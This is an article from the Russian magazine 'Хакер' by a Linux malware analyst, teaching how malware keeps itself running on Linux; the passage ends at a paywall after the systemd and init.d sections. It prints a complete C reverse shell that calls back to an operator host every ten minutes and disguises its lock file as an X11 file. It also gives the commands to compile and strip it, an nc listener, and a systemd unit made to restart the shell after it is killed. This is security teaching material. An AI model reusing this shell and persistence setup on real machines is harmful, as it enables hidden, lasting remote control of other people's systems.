Продукты «Хакера»

  • Ежеквартальный «Хакер» #3

    Лучшие статьи квартала на бумаге

    2 000 ₽

    Заказать журнал
  • Годовая подписка на Xakep.ru

    Полный доступ к статьям и архиву выпусков

    6 000 ₽ в год

    Подписаться
  • «Пентест WEB» для начинающих

    Совместный курс «Хакера» и лаборатории «Хаксет»

    7 000 ₽

    Купить курс
  • Спецвыпуск «Хакера» #4

    Лучшие статьи за 2021–2022 годы на бумаге

    2 000 ₽

    Заказать журнал
При пер­вом запус­ке мал­варь пыта­ется зак­репить­ся в сис­теме, что­бы сох­ранить дос­туп пос­ле перезаг­рузки, выхода из учет­ной записи или коман­ды kill. Канал пер­воначаль­ного дос­тупа могут зак­рыть, нап­ример сме­нив пароль или уста­новив обновле­ние, которое устра­няет уяз­вимость.

Зак­репить­ся в Linux мож­но мно­жес­твом спо­собов. Некото­рые сем­плы переби­рают раз­ные вари­анты и выбира­ют дос­тупный. Сегод­ня мы с тобой раз­берем девять тех­ник, которые я встре­чал в реаль­ных вре­доно­сах:

  • systemd system service;
  • init.d;
  • crontab @reboot;
  • systemd user timer;
  • .bashrc;
  • systemd user service;
  • XDG Autostart;
  • udev rule;
  • LD_PRELOAD.
 

Пишем малварь

Для демонс­тра­ции зак­репле­ния напишу прос­тень­кий реверс‑шелл. Если не зна­ешь, что это такое, про­читай мою статью «Ре­верс‑шелл с самого начала. Как зас­тавить сер­вер под­клю­чить­ся к нам».

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/file.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <signal.h>
#define C2_IP "192.168.0.153"
#define C2_PORT 1337
int main(void){
int lf = open("/tmp/.X11-lock", O_CREAT | O_RDWR, 0600);
if(lf < 0 || flock(lf, LOCK_EX | LOCK_NB) < 0)
return 1;
signal(SIGCHLD, SIG_IGN);
for(;;){
int s = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in sa = {
.sin_family = AF_INET,
.sin_port = htons(C2_PORT),
};
inet_pton(AF_INET, C2_IP, &sa.sin_addr);
if(connect(s, (struct sockaddr *)&sa, sizeof(sa)) == 0){
if(fork() == 0){
dup2(s, 0);
dup2(s, 1);
dup2(s, 2);
execl("/bin/bash", "bash", NULL);
}
}
close(s);
sleep(600);
}
}

Раз­берем, что тут про­исхо­дит. Пер­вым делом откры­ваем файл /tmp/.X11-lock и с помощью flock ста­вим экс­клю­зив­ную бло­киров­ку. Если файл уже заб­локиро­ван, зна­чит, копия уже работа­ет, и мы мол­ча выходим. Это защита от дуб­лей: сколь­ко бы раз мы ни попыта­лись запус­тить наш бинар­ник, работать будет толь­ко один экзем­пляр. Имя фай­ла спе­циаль­но мас­киру­ется под X11 — такие фай­лы в /tmp никого не уди­вят.

SIGCHLD ста­вим в SIG_IGN, что­бы дочер­ние про­цес­сы не прев­ращались в зом­би. Даль­ше запус­каем бес­конеч­ный цикл: пыта­емся под­клю­чить­ся к опе­рато­ру, а при успешном под­клю­чении вызыва­ем fork(). Дочер­ний про­цесс получа­ет шелл через dup2 и execl, а родитель­ский зак­рыва­ет сокет, ждет десять минут и про­бует сно­ва. Даже если опе­ратор отклю­чит­ся, через десять минут при­летит новый шелл.

Со­бира­ем, зачища­ем и кла­дем PoC в /opt. Обыч­но /tmp чис­тится при перезаг­рузке, а нам нуж­но, что­бы бинар­ник ее пережил:

gcc -o poc poc.c -O3
strip poc
cp poc /opt/poc

На сво­ей машине запус­каем слу­шатель:

nc -lvnp 1337
 

Запуск при загрузке системы

Нач­нем с самого прос­того — авто­мати­чес­кого запус­ка вмес­те с сис­темой.

 

systemd service

Са­мый пря­моли­ней­ный спо­соб. Соз­даем юнит‑файл в /etc/systemd/system/, и systemd будет запус­кать наш бинарь при каж­дой заг­рузке как сис­темный сер­вис. Наз­вание выбира­ем неб­роское, неп­римет­ное. Нап­ример, not_malware. Иде­аль­но!

На­пишем кон­фиг для not_malware.service:

[Unit]
Description=System Monitor Service
After=network.target
[Service]
Type=simple
ExecStart=/opt/poc
Restart=always
RestartSec=10
[Install]
WantedBy=multi-user.target

Раз­берем клю­чевые поля:

  • After=network.target — ждем готов­ности сети, ина­че реверс‑шелл попыта­ется под­клю­чить­ся, ког­да интерфейс еще не готов;
  • Restart=always + RestartSec=10 — если про­цесс завер­шат коман­дой kill, systemd переза­пус­тит его через десять секунд;
  • WantedBy=multi-user.target — сер­вис запус­кает­ся в обыч­ном мно­гополь­зователь­ском режиме, то есть прак­тичес­ки при любой заг­рузке.

Ак­тивиру­ем:

systemctl daemon-reload
systemctl enable --now not_malware.service

Флаг --now сра­зу запус­кает сер­вис, не дожида­ясь перезаг­рузки. Про­веря­ем:

systemctl status not_malware.service
● not_malware.service - System Monitor Service
     Loaded: loaded (/etc/systemd/system/not_malware.service; enabled; vendor preset: disabled)
     Active: active (running) since Wed 2026-07-15 23:08:40 MSK; 801ms ago
   Main PID: 4536 (poc)
      Tasks: 2 (limit: 2298)
     Memory: 560.0K
        CPU: 22ms
     CGroup: /system.slice/not_malware.service
             ├─ 4536 /opt/poc
             └─ 4537 bash

Сер­вис акти­вен и будет запус­кать­ся при каж­дой заг­рузке. Про­верим переза­пуск: най­дем про­цесс, убь­ем его и пос­мотрим, запус­тился ли он сно­ва:

[cu63@fedora systemd_system_service]$ ps aux | grep poc
root        4536  0.0  0.0   2472  1024 ?        Ss   23:08   0:00 /opt/poc
cu63        4575  0.0  0.1 222192  2432 pts/0    S+   23:13   0:00 grep --color=auto po
[cu63@fedora systemd_system_service]$ sudo kill 4536
[cu63@fedora systemd_system_service]$ ps aux | grep poc
root        4618  0.0  0.0   2472  1024 ?        Ss   23:14   0:00 /opt/poc
cu63        4623  0.0  0.1 222192  2432 pts/0    S+   23:14   0:00 grep --color=auto poc

Го­тово. Спо­соб хороший, но замет­ный: юнит‑файл лежит на виду, а systemctl list-unit-files --state=enabled покажет вклю­чен­ный сер­вис.

Что­бы уда­лить сер­вис, исполь­зуй сле­дующие коман­ды:

systemctl disable --now not_malware.service
rm /etc/systemd/system/not_malware.service
systemctl daemon-reload
 

init.d

Еще до появ­ления systemd в Linux исполь­зовали сис­тему ини­циали­зации SysVinit. Сер­висы в ней опи­сыва­лись скрип­тами обо­лоч­ки в катало­ге /etc/init.d/. Каж­дый скрипт дол­жен был обра­баты­вать аргу­мен­ты start, stop и restart. Коман­да service переда­вала скрип­там эти аргу­мен­ты и так управля­ла сер­висами.

В SysVinit режим работы сис­темы называ­ется runlevel. Основные режимы:

  • 0 — вык­лючение;
  • 1 — одно­поль­зователь­ский режим;
  • 2–5 — обыч­ная работа;
  • 6 — перезаг­рузка.

Для каж­дого уров­ня запус­ка есть свой каталог: /etc/rc.d/rc0.d/, /etc/rc.d/rc1.d/ и так далее до rc6.d/ (в Debian они находят­ся пря­мо в /etc/). Внут­ри — сим­воличес­кие ссыл­ки на скрип­ты из /etc/init.d/:

/etc/rc.d/rc3.d/S99not_malware → ../init.d/not_malware
/etc/rc.d/rc0.d/K01not_malware → ../init.d/not_malware

Продолжение доступно только участникам

Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».

Присоединяйся к сообществу «Xakep.ru»!

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

Фото аватара

cu63

Вирусный аналитик под Linux и любитель кофе. В свободное время делаю ресерчи и веду блог в тг http://t.me/coffee_cube. По субботам провожу стримы на youtube https://www.youtube.com/@coffee_cube и twitch https://www.twitch.tv/coffee_cu63 У блога есть чатик, так что заходите, если есть вопросы: https://t.me/+YMugc-EJLXw5NDAy

Читай также

USB-задолбатор. Создаем злой девайс для розыгрыша друзей

Ты наверняка уже задался вопросом: а что это? Это несложное устройство, которое перехватыв…

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    1 Комментарий
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии